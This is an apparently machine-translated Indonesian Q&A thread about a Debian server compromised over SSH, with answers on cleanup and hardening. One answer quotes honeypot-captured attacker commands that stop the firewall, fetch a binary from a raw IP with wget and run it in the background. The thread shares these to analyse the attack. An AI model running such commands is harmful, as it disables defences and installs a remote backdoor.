Pembaruan : Terlepas dari apa yang saya tulis tentang kemungkinan pemulihan, saya ingin menggemakan rekomendasi MariusMatutiae yang sangat kuat untuk tidak meremehkan potensi kerusakan yang disebabkan oleh muatan ini dan sejauh mana ia mungkin telah mengkompromikan sistem target.

Viktor Toth
sumber
2
Terima kasih. Saya telah memutuskan untuk menghapus sistem. Saya memulai kembali beberapa kali tetapi hanya untuk menyalin beberapa data penting. Tidak ada binari, hanya kode sumber. Saya kira saya cukup aman sekarang.
dibayar
Bagaimana dengan kotak lain di LAN yang sama?
WGroleau
Pertanyaan bagus. Riwayat shell yang disediakan tidak menunjukkan upaya untuk menemukan dan kompromi kotak lain di jaringan yang sama. Lebih umum, jika penyerang memperoleh akses SSH (root) ke sebuah kotak, itu pada dasarnya berarti ia telah mem-bypass firewall perimeter apa pun. Namun, itu tidak secara otomatis menyiratkan bahwa kotak lain dikompromikan: yang akan membutuhkan sesuatu yang lain seperti kerentanan yang belum ditambal, kata sandi dibagikan di antara kotak, masuk otomatis dari satu kotak ke yang lain, dll.
Viktor Toth
18

Sshd-honeypot saya juga telah melihat serangan semacam ini. Unduhan Pertama dari URL itu mulai 2016-01-29 10:25:33 dan serangan masih berlangsung. Serangan berasal / datang

103.30.4.212
111.68.6.170
118.193.228.169

Input dari penyerang ini adalah:

iptables layanan berhenti
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Jadi tidak ada kegiatan selain menginstal backdoor untuk nanti.

Gunther Nitzsche
sumber
Setuju, itu adalah MO yang sama.
MariusMatutiae
1
@MariusMatutiae Jadi ini bukan hack manual? Ini semacam worm / bot yang menyebar sendiri?
NickG
1
@NickG Tebakan terbaik saya adalah ini bukan retasan manual. Berapa probabilitas bahwa Vaid bekerja di kantor yang sama dengan pencetus botnet yang berbasis di Cina? Seseorang menemukan kelemahan yang dapat dieksploitasi di mesinnya, kemungkinan besar server ssh yang diamankan dengan lemah, paksa kata sandinya, memperoleh akses, mencoba memasang dirinya secara diam-diam. Namun, saya juga bertaruh bahwa penyerang lebih lancar menggunakan Windows daripada dengan Linux. Tapi saya tidak punya bukti kuat tentang ini, hanya dugaan yang berpendidikan.
MariusMatutiae
12

Semua orang di sini telah menawarkan saran yang solid, tetapi untuk menjadi jelas, prioritas Anda harus mendukung dan memverifikasi apa yang benar-benar Anda butuhkan dari sistem itu, kemudian menghapusnya dengan instalasi baru dari media yang dikenal aman.

Sebelum Anda menghubungkan host yang baru diinstal ke Internet, jalankan melalui ide-ide ini:

  1. Buat pengguna non-root baru, dan masuk sebagai pengguna itu. Anda seharusnya tidak perlu login sebagai root, hanya sudo (pengguna pengganti lakukan) saat dibutuhkan.

  2. Instal SE Linux, pengaturan konfigurasi yang memungkinkan kontrol akses wajib: https://wiki.debian.org/SELinux/Setup

  3. Pertimbangkan firewall perangkat keras antara kantor / rumah Anda dan Internet. Saya menggunakan MicroTik, yang memiliki dukungan komunitas luar biasa: http://routerboard.com/ .

Dengan asumsi Anda berada di timeline untuk menyelesaikan pekerjaan Anda yang dibayar, setidaknya lakukan # 1. # 3 cepat, dan murah, tetapi Anda harus menunggu paket melalui pos, atau pergi ke toko.

pyn
sumber
3
Dan, di atas semua itu, jangan biarkan komputer Anda berjalan tanpa pengawasan dengan sesi root terbuka!
MariusMatutiae
11
  1. Apakah debian-armhf nama host Anda? Atau apakah Anda menggunakan instalasi default dengan pengaturan default? Tidak ada masalah dengan itu, tetapi Anda seharusnya tidak membiarkan host langsung terkena Internet (yaitu, setidaknya tidak dilindungi oleh modem Anda).

  2. Sepertinya masalah sebenarnya datang dari 222.186.30.209 (lihat http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Anda tidak harus membayar banyak perhatian untuk melihat IP Microsoft. IP dapat lebih atau kurang dipalsukan / tipuan dengan mudah.

  3. Cara biasa untuk terhubung ke Internet adalah meneruskan daftar port yang diketahui dari IP publik Anda (mis. 8.8.8.8) ke lokal Anda (mis. 192.168.1.12).

    • Sebagai contoh, jangan teruskan semua koneksi masuk dari 8.8.8.8 (publik) ke 192.168.1.12 (lokal).

    • Hanya meneruskan port 22 dan 25 (ssh dan surat masuk, masing-masing). Anda tentu saja harus memiliki paket / pustaka ssh dan smtp yang mutakhir juga.

  4. Apa berikutnya? Lepaskan tuan rumah, dan mengubah password (pada setiap komputer yang berhubungan dengan organisasi) yang manual dalam skrip shell (malu pada Anda!) Di /etc/shadow.

Archemar
sumber
1. Ya debian-armhf adalah nama host. 2. Ya saya telah membaca artikel itu, dan saya menghubungi Microsoft melalui situs web mereka cest.microsoft.com. 3. Saya hanya meneruskan 25 dan 22, tidak ada yang diteruskan. 4. Saya akan melakukan itu
vaid
"IP bisa palsu lebih atau kurang mudah": Saya bukan ahli keamanan atau jaringan. Bagaimana mungkin?
kevinarpe
@ kevinarpe Itu mungkin jauh lebih baik sebagai pertanyaan terpisah.
CVn
2
@Archemar: SSH adalah TCP; memalsukan IP sumber TCP sulit jika bukan tidak mungkin. Plus, seperti yang ditetapkan di atas, IP Microsoft milik Azure layanan cloud mereka, yang berarti siapa pun bisa saja membeli waktu pada layanan untuk menyerang orang lain.
nneonneo
9

Seperti yang dinyatakan orang lain, cukup jelas keamanan server Anda telah disusupi. Yang paling aman adalah menghapus mesin ini dan menginstal ulang.

Untuk menjawab bagian kedua dari pertanyaan Anda, jika Anda tidak dapat menggunakan kunci publik auth, saya sarankan setidaknya mengatur Fail2Ban dan menjalankan SSH pada port non-standar. Saya juga menonaktifkan akses SSH root.

Fail2Ban akan membantu mengurangi serangan brute-force dengan melarang alamat IP yang gagal masuk beberapa kali.

Mengatur sshd untuk mendengarkan pada port non-standar setidaknya akan membantu mengurangi visibilitas server SSH Anda sedikit. Menonaktifkan logon root juga sedikit mengurangi profil serangan. Di /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Dengan login root dinonaktifkan, Anda harus beralih ke root dengan susekali Anda terhubung, atau (lebih disukai) gunakan sudountuk menjalankan perintah istimewa.

Nate H
sumber
Saya telah melakukan keduanya, terima kasih atas sarannya.
dibayar
8

Server SSH terus-menerus diserang di internet. Beberapa hal yang Anda lakukan:

  1. Pastikan Anda menggunakan kata sandi acak yang sangat aman, untuk mesin yang dapat diakses internet. Maksud saya seperti 16 karakter atau lebih dan sepenuhnya acak. Gunakan pengelola kata sandi sehingga Anda tidak harus mengingatnya. Jika Anda dapat mengingat kata sandi, itu terlalu sederhana.

  2. Jika Anda tidak membutuhkan SSH, matikan. Jika Anda benar-benar membutuhkannya, tetapi tidak perlu diakses secara publik, jalankan pada nomor port yang tinggi dan tidak standar. Melakukan ini secara dramatis akan mengurangi upaya peretasan. Ya, seorang hacker yang berdedikasi dapat melakukan pemindaian port, tetapi bot otomatis tidak menemukannya.

Cuplikan dari auth log Anda menunjukkan upaya yang gagal. Namun jika Anda melihat lebih jauh, Anda pasti akan melihat login yang berhasil. Kalau Anda menggunakan kata sandi sederhana, maka sepele bot bisa masuk.

Anda perlu mengisolasi mesin ini dari jaringan. Sangat hati-hati dapatkan apa yang Anda butuhkan, lalu bersihkan.

pengguna1751825
sumber
7
Ketika saya biasa menjalankan ssh pada port 22, saya biasanya akan memiliki ribuan upaya peretasan per hari. Ketika saya mengubah ke nomor port yang tinggi (lebih dari 50.000) upaya hack ini benar-benar berhenti.
user1751825
16 karakter tidak cukup aman. Logout pengguna juga berguna. Hanya saja, jangan membuatnya menjadi penguncian perm, membuatnya kedaluwarsa, tetapi membuatnya menjadi sekitar satu jam. Dengan cara ini Anda masih dapat mengakses server.
Ramhound
Perhatikan bahwa langkah 2) tidak sepenuhnya diperlukan untuk keamanan, selama Anda memiliki autentikasi yang kuat (kunci publik, atau kata sandi yang kuat).
user20574
2
@Ramhound Mengapa tidak? Sekalipun itu hanya huruf kecil, 16 huruf kecil memberi 43608742899428874059776 kemungkinan, yang tidak praktis untuk brute-force, terutama untuk brute-force online di mana server membuat Anda menunggu setiap kali Anda gagal dalam upaya.
user20574
3
@ user20574. Meskipun tidak sepenuhnya diperlukan, mengurangi visibilitas layanan SSH masih sangat membantu. Bahkan jika tidak ada alasan lain selain menghapus kekacauan dari log Anda. Jika sebuah mesin hanya perlu dapat diakses oleh sekelompok orang terbatas, maka port non-standar adalah langkah yang sangat masuk akal untuk meningkatkan keamanan.
user1751825
6

Hal pertama yang harus dilakukan siapa pun / semua orang setelah menyiapkan server Linux / Unix yang menghadap ke depan adalah untuk segera menonaktifkannya root.

Sistem Anda terganggu. Anda memiliki log riwayat berjalan yang mungkin keren untuk dilihat sampai batas tertentu. Tapi jujur ​​membedah spesifik agak sedikit pemilih dan tidak akan membantu Anda mengamankan server Anda. Ini menunjukkan semua jenis omong kosong yang terjadi ketika botnet menelurkan malware — yang kemungkinan besar menginfeksi server Anda — menginfeksi sistem Linux. The jawaban yang diberikan oleh @MariusMatutiae bagus dan dipikirkan dengan baik dan ada orang lain yang mengulang bahwa Anda hack melalui rootakses yang mimpi basah malware / botnet ini.

Ada beberapa penjelasan tentang cara menonaktifkan roottetapi saya akan menyatakan dari pengalaman pribadi, kebanyakan apa pun yang melampaui apa yang akan saya jelaskan saat ini adalah berlebihan. Inilah yang harus Anda lakukan ketika pertama kali menyiapkan server:

  1. Buat pengguna baru dengan sudohak: Buat pengguna baru dengan nama baru — sesuatu seperti cooldude—menggunakan perintah seperti sudo adduser cooldudejika Anda menggunakan Ubuntu atau jenis sistem Debian lainnya. Kemudian cukup edit sudofile secara manual menggunakan perintah seperti ini sudo nano /etc/sudoersdan tambahkan baris seperti di cooldude ALL=(ALL:ALL) ALLbawah baris yang seharusnya dibaca root ALL=(ALL:ALL) ALL. Setelah itu selesai, login sebagai cooldudedan uji sudoperintah dengan perintah seperti - sudo wsesuatu yang dasar dan tidak merusak - untuk melihat apakah sudohak berfungsi. Anda mungkin diminta kata sandi. Itu bekerja? Semuanya bagus! Pindah ke langkah berikutnya.
  2. Kunci rootakun: Oke, sekarang yang cooldudebertanggung jawab sudoatas hak, login sebagai cooldudedan jalankan perintah ini untuk mengunci akun root sudo passwd -l root. Jika Anda telah membuat pasangan kunci SSH root, buka /root/.ssh/authorized_keysdan hapus kunci-kunci itu. Atau lebih baik lagi, cukup ganti nama file authorized_keys_OFFseperti ini, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFuntuk secara efektif menonaktifkan kunci SSH. Saya lebih suka nanti karena jika ada begitu saja Anda masih memerlukan kata sandi untuk login lebih sedikit, Anda dapat memindahkan file itu kembali ke nama aslinya dan Anda harus melakukannya dengan baik.

FWIW, saya telah mengelola puluhan server Linux selama bertahun-tahun (puluhan tahun?) Dan tahu dari pengalaman bahwa hanya menonaktifkan root— dan mengatur pengguna baru dengan sudohak — adalah cara paling sederhana dan paling dasar untuk mengamankan sistem Linux apa pun. Saya tidak pernah berurusan dengan jenis kompromi apa pun melalui SSH begitu rootdinonaktifkan. Dan ya, Anda mungkin melihat upaya untuk masuk melalui auth.logtetapi tidak ada artinya; jika rootdinonaktifkan maka upaya tersebut tidak akan pernah menambah apa pun. Duduk saja dan saksikan usahanya gagal tanpa henti!

JakeGould
sumber